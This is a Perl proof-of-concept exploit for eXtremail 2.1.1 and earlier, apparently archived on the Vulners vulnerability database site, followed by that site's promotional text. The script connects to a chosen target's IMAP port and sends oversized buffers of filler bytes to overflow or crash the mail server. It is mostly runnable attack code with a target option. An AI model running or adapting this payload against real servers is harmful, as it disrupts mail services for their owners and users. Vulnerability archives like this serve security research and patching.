`#!/usr/bin/perl
#
# extremail-v8.pl
#
# Copyright (c) 2007 by <[email protected]>
#
# eXtremail <=2.1.1 remote PoC
# by mu-b - Wed Jan 31 2007
#
# Tested on: eXtremail 2.1.1 (lnx)
# eXtremail 2.1.0 (lnx)
#
# - Private Source Code -DO NOT DISTRIBUTE -
# http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
########
use Getopt::Std; getopts('t:n:u:p:', \%arg);
use Socket;
&print_header;
my $target;
if (defined($arg{'t'})) { $target = $arg{'t'} }
if (defined($arg{'n'})) { $offset = $arg{'n'} }
if (!(defined($target))) { &usage; }
my $imapd_port = 143;
my $send_delay = 10;
my $loop = 2;
my $NOP = 'A';
if (connect_host($target, $imapd_port)) {
print("-> * Connected\n");
sleep(16);
print("-> * Sending payload\n");
$buf = "\x00".($NOP x (0x2710-1));
send(SOCKET, $buf, 0);
sleep($send_delay);
$buf = $NOP x 0x2710;
while ($loop--) {
print("-> * Sending payload ".$loop."\n");
send(SOCKET, $buf, 0);
sleep($send_delay);
}
print("-> * Successfully sent payload!\n");
}
sub print_header {
print("eXtremail <=2.1.1 remote PoC\n");
print("by: <mu-b\@digit-labs.org>\n");
print("http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
}
sub usage {
print(qq(Usage: $0 -t <hostname>
-t <hostname> : hostname to test
));
exit(1);
}
sub connect_host {
($target, $port) = @_;
$iaddr = inet_aton($target) || die("Error: $!\n");
$paddr = sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
return(1338);
}
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation